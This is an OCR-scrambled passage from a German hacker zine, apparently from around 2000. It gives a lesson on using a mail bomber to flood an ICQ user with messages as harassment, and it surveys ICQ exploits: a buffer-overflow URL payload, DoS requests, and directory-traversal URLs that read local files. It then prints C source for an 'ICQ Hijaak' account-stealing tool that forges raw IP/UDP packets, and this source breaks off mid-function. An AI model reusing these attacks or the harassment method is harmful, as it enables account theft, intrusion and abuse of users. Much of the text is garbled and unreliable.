benutzt z. B. die Kanale 50 und 100 zur Ubertragung der Vorwahl bereiche fir
Best City Special. Kennungen der SMsS-CB-Kanéal e

000 I ndex

010 Aktuel I es
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020 Kr ankenh&auser

022 Arzte

024 Apot heken- Di enste

030 Verkehr Uberregi ona

032 Verkehr regiona

034 Taxi

040 Wetter

050 Funkzel | en-1I nfos

052 Netzwerk | nformationen

054 Net zbetrei ber |nfos

056 Nati onal e Angel egenheiten
057 International e Angel egenheiten
058 Nati onal er Kundendi enst

059 International er Kundendi enst

E- Mai | Bonber als | CQ Bonber:

In der heutigen Hacking Lesson wird euch gezeigt, wie man nit |astigen |ICQ
Usern ungeht, indem man sei nen ei nfachen Mil bonber in einen | CQ Message
Bonber verwandelt. Stell dir vor, dass dir jemand den du uber |CQ kennst,
dir ziemich auf den Sack geht. Was tun wir al so??? We wire es wenn du i hn
ei nfach ein bisschen argerst indemdu i hmein "paar" Messages schi ckst.
Solltest du es versuchen nanuell zu tun, nusst du eine Menge Zeit in diese
Aktion investieren. Es gibt aber auch eine el egantere Methode, indem du

ei nfach dei nen Mil bonber etwas unfunktionierst. Du nutzt dei nen Mil bonber
sozusagen als I CQ Bonber. Alles was du hierfir brauchst ist ein | CQ Opfer
(dessen 1CQ U N du kennen nusst) und ei nen Mil bonber (gehért in jede

Samm ung). Trage in deinen Ml bonber als E-Mil adresse dei nes Opfers

ei nfach ein: |1 CQU N@pager. mrabilis.comwbei die | CQU N die | CQ Nunmer
deines Opfers ist. Nun stellst du noch die Anzahl der Messages ein, die er
bekomen sol | st und Uberl &sst nun dei nem Bonber die Arbeit, die er auch
pronpt erledigen wird. So, das hatten wir. Nun aber zu dem ungekehrten
Fall: Du wirst Opfer einer solchen I CQ Attacke. WAs zu tun ist??? Ei ne ganz
ei nfache Sache: Starte dein |1 CQ und Uberni mm fol gende Ei nstellungen: * |CQ
* Security & Privacy * Do not accept Emmil Express Messages und, war das

ni cht einfach??? Ich finde, das man auf diese Wi se ganz einfach Leute
derart mt ihren Nachrichten beschaftigen kann, so dass sie einen in Ruhe

| assen ;-)
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Si cherheit-, Sicherheitsl 6cher von | CQ

Ei nf Ghrung

| CQ (Ausgesprochen "I seek you") konnte sich aufgrund sei nes hohen

Konforts und stetig wachsenden Funktionsunfang als das nei stgenutzte Chat-
System neben i RC, des Internets durchsetzen; und es wurde deshal b auf

di e verschi edensten BetriebsystemPlattfornmen portiert: Es finden sich
neben dem oft gesehenen W ndows-Client auch Cients fir Wndows NT, W ndows
CE, Linux, MacOS, BeCS, FreeBSD und sogar Solaris. Fir Wndows enpfiehlt
sich eindeutig das Nutzen des neuesten offiziellen dients von Mrabilis -
zur Zeit 1CQ 2000a Beta -, da jener den besten Konfort bietet und mt allen
anderen dients konpatibel ist. Fir Unix-Derivate wirde von Mrabilis
offiziell ein Java-dient herausgegeben, der jedoch niermals an die

Bedi enerfreundlichkeit anderer erhdltlicher dients herankommt. Fur Linux
gi bt es neben den grafischen Cdients fir die Oberflache X auch diverse
Programre fir di e Kommandozeile. Mein absoluter Favourit ist zICQ der zwar
ei ni ge Einbussen in Punkto Funktionsunfang nmachen nuss, dafir stabil und
schnell l&uft. Es ist mir dadurch sogar nbglich | CQ portabel auf meinem
Handy (NOKI A 9110) zu nutzen: |ch wahle mch bequem unterwegs per Tel net
auf nei nem Li nux- Server ein, um danach den Konsolen-Client in Anspruch zu
nehmen.

Jeder Nutzer des 1CQ Dienstes erhdlt bei seinemEintritt in die Conmunity
ei ne eindeutige Nummer, die U N (Universal Identifier Nunber) genannt wird.
Di ese Nunmer ist mt der eigenen | P-Adresse oder Tel ef on- Nummer

ver gl ei chbar, da sich dadurch andere User finden und identifizieren |assen.
Die Numrern werden additionell 1 vergeben. Das hei sst, dass wenn ich bei
nmei ner Registrierung die Nunmer 10742206 erhal ten habe, der kommende
automati sch di e nachst hohere bekommen wird; also die U N 10742207.
Mtlerweile existieren bald 70000000 Numern, und wer sich noch mit einer
7- oder gar 6-stelligen U N briusten darf, kann sich ohne weiteres zu den
alten Hasen zahlen. Die 5-stelligen UNs werden nur 1CQ Mtarbeitern

ver geben, und werden daher auch von Mrabilis selber verwaltet.

Mocht e man jenanden finden, |assen sich mt der Eingabe des voll standi gen

Nanens, E-Mail-Adresse oder U N in das "el ektroni sche Tel ef onbuch” von | CQ
den Nutzer einfach aufspiren. Es gibt auch die offiziellen weissen Seiten,
bei denen sich Benutzer des Dienstes in Listen eintragen |assen, die sich

ei nem spezi el l en Thena w dnen.

Auf der sogenannten Kontakt-Liste sind alle User eingetragen, nmit denen man
regel massig in Kontakt steht. Auf jener Liste wird stets aktuell
ersichtlich, wer gerade online ist oder den PC fir einen kurzen Augenblick
verl assen hat. Nun ist es noglich mt wenigen Maus-Klicks oder Tasten-

Konbi nati onen ei nem | CQ Nutzer in der eigenen Contact-List eine Message
zukonmen zu | assen. Auch sind | A&ngere Chat - Sessi ons nibglich, bei denen ganz
imStile von i RC auch nmehrere Anwender bei wohnen kdénnen. Im Laufe der Zeit
hat sich I CQ zu ei ner wahren Konmuni kati ons-Schaltzentral e entw ckelt, da
nun bei den neueren (Wndows-)Cdients auch das Verschicken nul tinedial er
Nachrichten nbglich wird, oder mttels Plug-Ins Voice-over-1P genut zt

wer den kann.

Es ist nmbglich den eigenen Status zu veréandern, wobei auf der Kontaktliste
des Gegenibers autonmati sch der neue Status angezeigt wird. Die gangigen
Zust ande rei chen von "online" dber "away" bis hin zu "do not disturb".
Michte man nicht 6ffentlich zugeben, dass man mittels Internet-Zugang zur
Zeit imI1CQ erreichbar ist, andert man den eigenen Status in "invisible",
wobei nur noch Auserwéhlte einemals "online" in der Kontakt-Liste

regi strieren kénnen.
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Kurz vor dem Erschei nen der Test-Version von | CQ 2000 nmachte ein neues
Add-On zu 1 CQ die Runde: Die sogenannte Activelist. Dadurch wird die
Usenet - &hnl i che Zusamenhal t ung ei ner Di skussi on nmdglich. Der Nbderator
muss als erstes die Server-Software auf dem heim schen PC installieren und
die neu erstellte Liste imlInternet annel den. Ab da an kdnnen Interessierte
di eser Comunity beitreten, um ei nem zuvor spezifizierten Thema in Form

ei ner Di skussi on bei zuwohnen. Di ese Form der Unterhaltung konnte sich
(leider) nicht wirklich durchsetzen, da zu weni ge Activeli st-Mderatoren

St andl ei t ungen besitzen, und das Nutzen di eses Zusatzdi enstes somt nur
tenporar noglich ist.

I CQ heimste sich in den | etzten Monaten einiges an Unstinm gkeit der Nutzer
ein, da oft nogliche Hack-Versuche auf Sicherheitslicken von | CQ
abgeschoben werden. 1CQ alleine ist jedoch selten fiur Angriffe als
Ausgangsl age nut zbar, obwohl Renote-Bufferoverflows und DoS-Attacken
bekannt sind. Die grosste Gefahr besteht bei einigen dients, dass ei nem
potentiellen Angreifer zu viele Informationen tUber das vernei ndliche
Zielsystemmtgeteilt wird: Neben der aktuellen |IP-Adresse werden oft auch
private Informationen wie die Anschrift oder Tel efonnumer in den Details
bekannt gegeben. Auch finden sich zahlreiche War-Tools imliInternet, mt
denen sich Benutzer mt hunderten von Nachrichten Uberfluten |lassen. D e
Ports, die 1CQ dients standartnmissig 6f fnen erniglichen nur in den
seltensten Konfigurationen direkte Angriffe - Viel nehr finden U N

Uber nahnmen bei durch di e NETBI OS- Frei gabe fal sch konfigurierte Systene
statt.

Die Sicherheit:

Fir paranoi de Zeitgenossen bietet das kleine Chat-Tool von Mrabilis vor
der Version 2000 schon von Hause aus einige Miglichkeiten, seine eigene |IP
zu verstecken, oder eine andere vorzutauschen, wobei nman jedoch bei m

Vort duschen kei ne Macht dariber hat, sich eine auszuwdhl en. Bei m

Vort duschen einer IP ist man jedoch noch i mrer unter der richtigen |P-
Adresse erreichbar, was al so kei nen 100% gen Schutz bieten kann. Al's
erstes offnet man sein 1CQ und klickt auf den |ICQ Knopf, welcher sich
unten rechts befindet. Nach dem &fnen der man kann schal ten und wal ten,
wie man wll: Bei "Chance ContactList Authorisation" ist es nbglich
anzugeben, dass jeder |ICQ User, der einemin seine Contact-List aufnehnen
mbcht e, zuerst um Erl aubnis fragen nmuss. Sel ektiert man "ny authorisation
is required', wird diese Funktion aktiv.

| st das Kastchen bei "IP Publishing" aktiviert, ist die eigene |P-Adresse
ohne frende Hilfsnittel mttels ICQ nicht herausfindbar. Das eréffentlichen
der eigenen |IP-Adresse mittels 1CQwird so unterdriickt. Doch di es schit zt
kei neswegs 100% g vor Attacken

Di e Sicherheitsl icken
- Buffer-Overflow durch korrupte URL

Di eser Angriff wurde erfolgreich auf der finalen Beta-Version von Wndows
2000 getestet: Durch das verschi cken der korrupten URL

1SADAIDA DA DD AIDA DA DRI DA DA IADADA DA )]
A AR OADA IR IAEDADA DA IR IAA AR IAIAIA IR IEIAIA IR IEIAIA I IR IA IR IAIAIEIE 4
1A DA DAL DA DA DAL DAL DA DA DAL DAL DAS DA DAS DAL DAL D AN D)
A DA OAOADAIEIEIAIA IR I IEIRIAIA IR IR IR IR IR IR IEIRININIE A
1IDADAIDA DA AN DA IR IRIADA IR AN A D]
AR ADAIDADAIRIADAIAIRIEDAIAIARIEIAIAIEIRIAIAIEIRIADIAIAEINIRINIAIAEINIAINININIA
1A DA DA DA DA DAL DAL DA DA DAL DAL DAN DA DAR DAL DAL D AN D)
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IDADAIDAIDAIDA DA IADADA A IAIADA N IAIADALD)
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IDADAIIADADAR RIS INIAINDNINIRININ D]

WA ARSI IAIASAINIAIASADIN IR IR INIAIAININIAIAEIRINIAIAIRIN AL
IDAOAIIAISAID A DA DA DDA IAIAS NEN

-PLADADADNDNEDMENDMD' kann auf einem Ziel -System dass 1CQ99b 1.1.1.1 am
Laufen hat, Maschi nencode ausgefihrt werden, um zum Bei spi el eine

Ei ngabeauf f orderung zu 6ffnen, ein trojani sches Pferd zu starten oder die
gesante Festplatte zu fornatieren

Der Maschi nen-Code wird sofort ausgefihrt, sobald der User zur
besagten URL mittels Klick browsen nbchte.

Ei nige el ementare Zeichen sind in der besagten URL nicht erlaubt, was

ein nitzlicher Angriff ziemich erschwert: Dazu gehéren "," und die
beiden "[", OpCode 2C und 01.

Ei ne ei nfache L6ésung besteht in einer erhthten Al arnbereitschaft und
sensi bilisierung der Anwender, sobald URLs per |1CQ erhalten werden, die
man nicht "gut" kennt. Eine weitaus sicherere Ldsung ist in den

Ei nstel l ungen automati sch alle URL-Zusendungen verwerfen zu | assen.

Fehler imdient-to-Cient-Protokoll

Di eser Text bezieht sich auf ein Ahnliches Problem w e das

beschrieben zu "Sniffing bei Authentifizierung beimlCQ Server". Seth
McGann fand heraus, dass das eingesetzt Client-to-Client-Protokoll von
I CQ i mgleichen Masse kei ne genaue Authentifizierung vorni nmt, wodurch
Nachri chten und Chat - Request vorgetduscht und korrupte Dateien i mnanen
anderen verschi ckt werden kénnen. Auch stirzt in gewi ssen Fallen der
ICQdient ab, und reisst zugleich das gesante W ndows-Systemmit.

Auch finden sich zur Komuni kation zwi schen zwei Cients keine

Vorri chtungen zum Schut ze vor Fl ood-Attacken und Packet - Rel ayi ng i st
auch erlaubt. Einige 1' 000 Messages an einen Pentiummt 166 Mz
vernbgen das System konpl ett auszul asten. Der einzige

sicherheitsrel evante Vorteil dieses Protokolls besteht in der stets
wechsel nden Port-Wahl bei jeder Session: Es werden die Ports rund um
1024 bi s 2000 verwendet.

DoS- Attacke mittels persdnlicher Homepage

Selektiert man im1CQ die Option "Activate ny hone page", fungiert die

ei gene Maschi ne al s Wb- Serverm der ganz regul a auf dem Standart-Port fr
HTTP angesprochen werden kann. d eichzeitig 6ffnet sich auch die Funktion,
dass das hei nische Systemals File-Server fungieren kann, wobei das

Verzei chnis "Programfiles\icq\honepage\root\uin\files" automatisch alle
darin befindlichen Daten fur externe Anwender abrufbar nmacht. deichzeitig
wer den noch andere interaktive G nmm cks, wi e zum Bei spi el Gistebuch und
Chat - System freigeschaltet.

Fl ami ng Dog publizierte eine Sicherheitslicke unter Wndows 95 nit

I CQ 99a build #1700, die es entfernten Benutzern erl aubt ei ne DoS-Attacke
gegen zu starten. Es wird vernmutet, dass alle &l teren 99er-Versionen gegen
di ese Attacken verwundbar sind.
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Di e personliche | CQ Homepage eines Nutzers wird nmit der Eingabe der

| P- Adresse i m Web- Browser angezeigt. Wrd nun nach dem abtrennenden

Sl ash i m Browser von Netscape etwa 300 Punkte angefigt, so stirzt der
ICQdient auf dem Zi el -System ab. Den gl ei chen ef fekt kann nan bei bei

| CQP9 build #1800 i st gegen diese Attacke gefeilt, und nicht mehr
verwindbar .

Ronald A Jarrell fand zusatzlich heraus, dass bei einem System dass
jenen Service mt 1CQ 99a build 1700 v2.13 zur Verfiugung stellt, der
ICQdient und Web- Server-Teil abgestirzt werden | assen kann. Dazu nuss

ei nfach eine Telnet-Sitzung auf Port 80 zum Zi el syst em auf gebaut und

i rgendwel chen Mil | ei ngegeben werden: "quit<cr>" wirde in diesem Fall schon
rei chen, umden Wndows-Clienten in die Knie zu zwi ngen. Mt der Ei ngabe
von "CGET .......... und so weiter" kann der Web-Server-Teil heruntergerissen
werden. Die DoS-Attacken gegen den Web-Server funktioniert auf Wndows NT-
Maschi nen, jedoch nicht bei Wndows 95. We sich Wndows 98 und W ndows
2000 verhalt, ist nicht genau klar.

DoS- Attacke mittel s guestbook. cgi

Wirde die "My |1 CQ Page"-Funktionalitat aktiviert, verwandelt sich der

hei m sche PC neben ei nem Web- Server auch in in einen File-Server. Hinzu
wird auch noch ein Cd -basi erendes Gistebuch aktiviert. Daten, die in

di eses Quest book ei ngetragen werden, werden von der Datei guestbook. cgi
verwaltet. Philip Stoev gab bekannt, dass dieses CA-Script eine
Verwundbar keit beinhaltet, die zu einer Renote-DoS-Attacke genutzt werden
kann, umden I1CQ dienten des Opfers abstirzen zu | assen.

Von di eser Attacke betroffen ist 1CQ Version 99b Beta v3.19 Build
#2569. Mdchte ein User durch die Ei ngabe von

B i bl o T e e e Tl et T et sl T R Palias -

http:/71cgstation. exanpl €. cont guest book. cgi’: i m ei genen Web- Browser auf
das Script zugreifen, erhalt er eine Serverseitige Ml dung, die i hmden
Zugriff untersagt. G bt er jedoch die gleiche URL nochei nmal s ein, gefol gt

von ei nem Fragezei chen am Schl uss

bei m Zi el - Syst em ab.

Fi | e-Sharing von I CQ

elektiert man imI1CQ die Option "Activate ny hone page", fungiert die

ei gene Maschi ne al s Wb- Serverm der ganz regul a auf dem Standart-Port fr
HTTP angesprochen werden kann. deichzeitig o6ffnet sich auch di e Funktion,
dass das hei nische Systemals File-Server fungieren kann, wobei das

Verzei chnis "Program files\icq\honepage\root\uin\files" automatisch alle
darin befindlichen Daten fir externe Anwender abrufbar macht. G eichzeitig
werden noch andere interaktive G nm cks, wi e zum Bei spi el Gistebuch und
Chat - System freigeschaltet.

| st der Web-Server aktiviert, kann jeder User alle Daten auf der

| okal en Festplatte einsehen, wi e Jan Vogel sang herausfand. Dazu nétig
ist ein sinpler Wb-Browser, nmit welchem man durch die Ei ngabe von
"RECP: T/ TERbers. i cd. ¢or <G OB/ direkt auf den privaten Conputer per

HTTP- Port 80 zugreift. Ein solcher Zugriff fihrt die | okalen Daten in
"/1 CQR9/ Homepage/ <I CQ Ul N>/ personal /" zu Tage.
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http://members.icq.com
http://205.188.147.53/...................und
http://icqstation.example.com/guestbook.cgi"
http://icqstation.example.com/guestbook.cgi?"
http://members.icq.com/<ICQ-UIN>/"

Ei n Besucher kann nun ganz einfach mttels Punkten die Verzeichnisse
"heraushupfen”, umjeweils eine Hierarchie-Stufe héher im
Ver zei chni s- Syst em vor zudri ngen. Di e Ei ngabe von

passwd. ht Ml i m | CQQ9- Ver zei chni s anzei gen. Zwar wird di e ganze Harddi sk
dadurch ersichtlich, jedoch kénnen eigentlich nur HTM.- Dokunent e angezei gt
wer den.

Durch einen weiteren Trick werden jedoch auch Nicht-HTM.- Datei en
angezeigt. Die Eingabe von "Nttp://<IP-Adresses/.... ...

..... [ aut oexec. bat" in den Web-Browser wird die Datei nicht anzeigen

| assen. Hi ngegen bei der Angabe von

RO/ P AdY 6SSEST R T, L L)L L L T AUt O8XES, Bat™ wird die Datei ganz

normal ersichtlich. Diese Angriffs-Formwirde bei 1CQ@9 Build 1700 und 1547
erfolgreich getestet, und funktioniert unter Wndows 9X und W ndows NT.

Mrabilis fixte den B_u_g_ _i_n_ _d_e_r_ _d_a_r_a_u_f_ _f_ol_g_e_n_d_e_n Version Build 1800,

das offiziell unter http://ww.icg.con downl oad/i heruntergel aden werden
kann.

| CQ Hijack

Ei n Hacker nanens Winpus entwi ckelte in C einen | CQ Hijacker, der

Si cher hei t sl Gicken des ei ngeset zt en Protokolls geschi ckt ausnutzt, um einen
Account zu stehlen. Ist ein User mt seinemWn32- oder Java-dient

ei ngel oggt, kann das Passwort di eses Accounts geandert werden, ohne das
urspringliche Passwort zu kennen.

Di eser nun fol gende Quel ltext wurde erfol greich gegen die Versionen
1.22 bis 1.26 getestet.

/*
1 CQ Hi j aak
Version 1C
Aut hor :

wunpus @ nnocent . com
Copyright (c) 1998

Wl vesbane
By downl oadi ng or

conpiling this program you agree to the terns
of this license. If

you do not agree with any of these terns you

MJST
delete this program imediately from
all storage areas

(i ncluding browser
caches).

(A) You

agree not to wuse this programin any way
that woul d

constitute a violate of any
applicable |aws. This may

included federal laws if you live in the
United States and

simlar laws regardi ng conputer security in other countries.
(B) You

agree to hold the authors (referred to

collective as

Wl vesbane) harm ess in any danmages that result due
to your

possession or use of this software.

(9
Wl vesbane does not claimthat this program
i npl enents any
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http://<IP-Adresse>/...../passwd.html"
http://<IP-Adresse>/.......
http://<IP-Adresse>/.html/............./autoexec.bat"
http://www.icq.com/download/

*/

functions. As the saying goes, "You get what you pay for." --
And you didn't pay anything for this.

(D) This software
is FREE for _NON- COMVERCI AL_ use. You may not
use this program for any commercial use (or any other activity
whi ch nakes you noney with the assistance of this progran).
The author is not interested in comrercial use of this program
(and cannot think of what commercial use woul d consist of).

(E) This program
was created using Linux with |P-Masquerading to

run the 1 CQ program unnodified and without any di ssassenbly.

The testing was done wth
volunteers, and wth a second

conputer logged into the 1CQ
net wor k. No | CQ users were

harmed in the creation or testing of this program
(F) This copyright
applies only to the code witten by Wl vesbane
and not to anything included under Fair Use.
(G Please note
that if you use ANY sections of this code in your
wor k, (which |  expressly
allow as long as
it is
NON- COMMERCI AL), you are obligated to give ne some credit in

your comments (if it is a
source file ) or in a string

constant if it is a binary file. |[If you do not wish to do so

you may NOT include ANY portion of this file in your own work.

#i ncl ude <arpa/inet. h>
#i ncl ude <netdb. h>

#i ncl ude <netinet/in.h>
#i ncl ude <stdarg. h>

#i ncl ude <stdio. h>

#i ncl ude <stdlib. h>

#i ncl ude <string. h>

#i ncl ude

#i

#i

#i

i nt

<sys/ socket . h> /* for
AF_I NET */

ncl ude

<sys/tinme. h>

ncl ude

<sys/types. h>

ncl ude

<uni std. h>

Ml ti Resol ve(
char * host nane,
int * addr_count,

struct in_addr ** addresses );

enum {

FAILURE = -1, SUCCESS = 0 };

/*

typedef unsigned short

i nt ule;

typedef unsigned |ong int
u3z;

typedef unsi gned

char

*/
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us;

/* *

#define byte(v,0) (*((u8
*) (&(v)) +(0)))

#define word(v, o)
(*((u16 *)((unsigned char *)(&v))+(0)) ))

#define dword(v,o0) (*((u32 *)((unsigned
char *) (&(v))+(0)) ))

unsi gned

char icqg_check_data[256] = {

Ox0a, Ox5b, 0x31, 0x5d, 0x20, 0x59, 0x6f, 0x75
0x20, 0x63, 0x61, Ox6e, 0x20, 0x6d, Ox6f, 0x64,
0x69, 0x66, O0x79, 0x20, 0x74, O0x68, 0x65, 0x20
0x73, Ox6f, 0x75, Ox6e, 0x64, 0x73, 0x20, 0x49
0x43, 0x51, 0x20, Ox6d, O0x61, Ox6b, O0x65, 0x73
Ox2e, 0x20, Ox4a, 0x75, 0x73, 0x74, 0x20, 0x73
0x65, 0x6c, 0x65, 0x63, 0x74, 0x20, 0x22, 0x53
Ox6f, 0x75, Ox6e, 0x64, 0x73, 0x22, 0x20, 0x66
0x72, Ox6f, Ox6d, 0x20, Ox74, Ox68, 0x65, 0x20
0x22, 0x70, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65
Ox6e, 0x63, 0x65, 0x73, Ox2f, Ox6d, 0x69, 0x73
0x63, 0x22, 0x20, 0x69, Ox6e, 0x20, 0x49, 0x43
0x51, 0x20, Ox6f, 0x72, 0x20, Ox66, 0x72, Ox6f,
0x6d, 0x20, 0x74, 0x68, 0x65, 0x20, 0x22, 0x53
0x6f, 0x75, Ox6e, O0x64, 0x73, 0x22, 0x20, 0x69
Ox6e, 0x20, Ox74, 0x68, 0x65, 0x20, 0x63, Ox6f,
Ox6e, 0x74, 0x72, Ox6f, Ox6c, 0x20, 0x70, 0x61
Ox6e, 0x65, 0Ox6c, 0x2e, 0x20, 0x43, 0x72, 0x65
0x64, 0x69, 0x74, Ox3a, 0x20, 0x45, 0x72, 0x61
Ox6e, 0x0a, O0x5b, 0x32, 0x5d, 0x20, 0x43, 0x61
Ox6e, 0x27, 0x74, 0x20, 0x72, 0x65, 0x6d, 0x65
0x6d, 0x62, O0x65, 0x72, 0x20, 0x77, 0x68, 0x61
0x74, 0x20, 0x77, 0x61, 0x73, 0x20, 0x73, 0x61
0x69, 0x64, O0x3f, 0x20, 0x20, Ox44, Ox6f, 0x75
0x62, 0Ox6c, 0x65, 0x2d, 0x63, Ox6c, 0x69, 0x63
0x6b, 0x20, Ox6f, Ox6e, 0x20, 0x61, 0x20, 0x75
0x73, 0x65, 0x72, 0x20, 0x74, Ox6f, 0x20, 0x67
0x65, 0x74, 0x20, 0x61, 0x20, 0x64, 0x69, 0x61
Ox6c, Ox6f, 0x67, 0x20, Ox6f, 0x66, 0x20, 0x61
0x6c, Ox6c, 0x20, Ox6d, O0x65, O0x73, 0x73, 0x61
0x67, 0x65, 0x73, 0x20, 0x73, 0x65, Ox6e, 0x74,
0x20, 0x69, 0x6e, 0x63, O0x6f, 0x6d, 0x69, Ox6e };
#def i ne
MAX_NUM_ADDRESSES 255

int Resolve( char * hostnane, struct
in_addr * addr ) {
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struct hostent * hinfo;
(void)menset ( (void *)addr, O, sizeof( struct in_addr ));

if ( inet_aton( hostnanme, addr) ) return SUCCESS;

if ( !'(hinfo = gethostbynane( hostnane ) ) ) return FAI LURE;

(voi d) mencpy( (void *)addr, (void *)hinfo->h_addr,

sizeof (struct in_addr )); return SUCCESS; }

Mul ti Resol ve( char * hostnane, int *

addr _count,
struct in_addr ** addresses ) {

i nt
host _count;

i nt
i

char
*op;

struct in_addr
addr ess;

struct hostent *
hi nf o;

if ( inet_aton( hostnanme, &address ) ) {

p = (char *)nmall oc(sizeof (address));

if (!p) {

fprintf(stderr,"MiltiResolve: Allocation failed!'\n");
return FAI LURE;

}

(voi d) mencpy((void *)p, (void *)&ddress, sizeof(address) );
*addr _count = 1;

*addresses = (struct in_addr *)p; return SUCCESS; }

if ( !'(hinfo = gethostbynane(hostnane) ) ) return FAI LURE;
if ( hinfo->h_length != sizeof( struct in_addr ) ) {
fprintf(stderr,"MiltiResolve: h_length (%) not equal "\
"to size of struct inaddr (%) ",

hi nf o->h_l engt h, sizeof (struct in_addr) );

return FAILURE;

}

host _count = 0;

for (i = 0; i < MAX_NUM ADDRESSES; i++ ) {

struct in_addr * addr_ptr;

addr _ptr = (struct in_addr *)hinfo->h_addr_list[i];

if ( laddr_ptr )

br eak;

host _count ++;
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}

p = (char *)malloc( host_count * hinfo->h_length );

if (!p) {

fprintf(stderr,"MiltiResolve: Failed to allocate %l bytes\n",
host _count * hinfo->h_length );

return FAI LURE;

}

*addresses = (struct in_addr *)p

for (i =0; i < host_count; i++) {

(void) mencpy( (void *)p,(void *)hinfo->h_addr_list[i],
hi nfo->h_length ); p += hinfo->h_length; }

*addr _count = host_count; return SUCCESS; }

#defi ne

| P_VERS 0
#def i ne

I P_TCS 1
#defi ne

| P_TOTLEN 2
#def i ne

IP_ID

4
#def i ne

| P_FLAGS 6

#define | P_TIMETOLIVE 8
#defi ne | P_PROTOCOL

9
#def i ne

| P_CHECKSUM 10

#define | P_SRC

12
#def i ne

| P_DST 16
#defi ne

| P_END 20
#def i ne

UDP_SOURCE 0
#defi ne

UDP_DEST 2
#def i ne

UDP_LENGTH 4
#def i ne UDP_CHECKSUM

6
#def i ne

UDP_END 8
#def i ne UCHDR_SOURCE

0
#def i ne

UCHDR_DEST 4
#defi ne UCHDR_PROTOCOL 9
#defi ne UCHDR_UDPLEN

10
#def i ne

UCHDR_END 12
#defi ne

| CVP_TYPE 0
#def i ne

| CVP_CODE 1
#define | CMVP_CHECKSUM 2
#def i ne

| CMP_END 4

ulé cksun(_u16 * puf, int nunrds ) {
u32 sum

sum= 0; while ( numMrds -- ) { sum += *(buf++); }
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sum= ( sum >> 16) + ( sum & Oxffff ); sum += ( sum >>
16 );

return ~sum; }

voi d
make_i p_hdr (
u8 * packet, int
I ength, u8 pr ot ocol ,
ulé id, ulé flags,
struct in_addr ne,
struct in_addr you, u8 ttl )
{
menset ( packet, O, IP_END );
byt e(*packet, | P_VERS ) = 0x45;
wor d( *packet, |IP_TOTLEN ) = htons( length );
byt e(*packet, IP_TIMETOLIVE ) = ttl;
byt e(*packet, | P_PROTOCCL ) = protocol;
wor d( *packet, IP_ID) = htons( id);
wor d( *packet, IP_FLAGS ) = htons( flags );
dwor d(*packet,|P_SRC ) = *((u32 *)&ne);
dwor d(*packet, | P_DST ) = *((u32 *)&ou);
wor d( *packet, | P_CHECKSUM ) = cksum( (ul6é *)packet, IP_END/2 ); }
voi d
make_udp_hdr (
u8 * packet, int
udpl ength, ulé6 sport,
ulé dport ) {
u8 * udp;
static u8 chdr [ UCHDR_END] ;
u32 pchecksum

nmenset ( chdr, 0, UCHDR END );

udp = packet + ( ( byte(*packet, IP_VERS ) & OxOF ) * 4 );
nmenset ( udp, 0, UDP_END );

wor d( *udp, UDP_SOURCE ) = htons( sport );

wor d(*udp, UDP_DEST ) = htons( dport );

wor d( *udp, UDP_LENGTH ) = htons( udplength );

mencpy( chdr + UCHDR SOURCE, packet + IP_SRC, 8 );

byte( *chdr, UCHDR PROTOCOL ) = byte( *packet, |P_PROTOCCL );
wor d( *chdr, UCHDR UDPLEN ) = word( *udp, UDP_LENGTH );
pchecksum = ( ~cksunm({ (ul6é *)&chdr, UCHDR END / 2 ) ) & OxFFFF;
if ( udplength & 1) { byte( *udp, udplength + 1) = 0; }
pchecksum += ( ~cksum((ul6 *)udp, udplength/ 2

+ (udpl ength&l)) ) & OxFFFF; pchecksum += (
pchecksum >> 16 );

wor d( *udp, UDP_CHECKSUM ) = (ul6)~pchecksum; }
int CreateRawSocket ( void )
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i nt S;
i nt option;
s = socket ( AF_I NET, SOCK_RAW | PPROTO RAW);
if (s <0) { perror("Socket:"); exit(-1); }
option = 1;
if ( setsockopt( s, IPPROTO_IP, |P_HDRINCL,
(char *)&option, sizeof( option) ) <0) {
perror("Setting IP_HDRINCL"); exit(0); }
return s; }
int GetLocal Address(
struct in_addr renmote, struct in_addr * local )
{
struct sockaddr_in | addr ess;

struct sockaddr *
| addr = (struct sockaddr *)& address;

struct sockaddr_in raddress;

struct sockaddr *
raddr = (struct sockaddr *)&raddress;

i nt S;
int err;
i nt | en;

s = socket ( AF_I NET, SOCK _DGRAM | PPROTO UDP );
if (s<1){

return FAILURE,

}

raddress.sin_port = htons( 1984 ); /* DON T CARE */
raddress.sin_famly = AF_I NET;

raddress. sin_addr = renote;

err = connect(s, raddr, sizeof(raddress ));

if (err <0) {

return FAI LURE;

}

I en = sizeof (I address);

err = getsocknane(s, laddr, &en );

if (err <0) {

return FAI LURE,

}

*| ocal = | address. sin_addr;

cl ose(s);

return SUCCESS;

}
int Createl CMPSocket ( void )
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int s;

s = socket ( AF_I NET, SOCK RAW | PPROTO | C\VP );
if (s<1)

return FAILURE,

return s;

}
int SendUDP( int s, struct in_addr
source, struct in_addr dest,

ulé sport, ul6 tport )

static u8 packet [ 576] ;
struct sockaddr_in raddr ess;

struct sockaddr *
raddr = (struct sockaddr *)&raddress;

i nt psi ze;

int err;

raddress.sin_port = htons( 1984 ); /* DON T CARE */
raddress.sin_famly = AF_I NET;

raddress. si n_addr = dest;

psize = | P_END + UDP_END + 6;

make_i p_hdr( packet, psize, |PPROTO UDP, 0x666, O,

source, dest, Ox7F );

make_udp_hdr ( packet, psize - IP_END, sport, tport);

err = sendto( s, packet, psize, 0,raddr, sizeof(raddress));
if (err !'=psize) {

perror (" Sendi ng");

return FAI LURE;

}

return SUCCESS;
}

const
int verify_secs = 2;

int VerifyUDPPort( struct in_addr addr, ul6
port )

{

i nt
s_icnp;
struct tinmeval start_time, end_tinme, wait_tine;

fd_set
rdfs;

int
err;

static u8 packet [ 1500]; /* should
be max MU */
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struct sockaddr junkaddr;

i nt
j unksi ze;

us
* i cnphdr;

u8
* fiphdr;

usd
* fudphdr;

i nt
| en;

int
got _unr each;

struct in_addr |ocal addr;

int
rawsock;

if ( GetLocal Address(addr, & ocal addr) == FAILURE ) {
perror (" GetLocal Address"); exit(-1); }

s_icnp = Createl CVPSocket () ;

if ( s_icnp == FAILURE ) { perror("CGetting |ICW socket"); exit(-1);
rawsock = Creat eRawSocket ();

if ( rawsock < 0 ) { perror("CGetting Raw socket"); exit(-1); }

FD ZERQ( &rdfs ); FD SET( s_icnp, &dfs );

if ( SendUDP(rawsock, |ocal addr, addr, 0x1984, port ) == FAILURE )
{

perror("Sending UDP packet"); exit(-1); }

got _unreach = 0; gettineofday( &start_tinme, NULL );

do { wait_time.tv_usec = 0; wait_tine.tv_sec = verify_secs;
err = select( s_icnp+l, &rdfs, NULL, NULL, &wait_time );

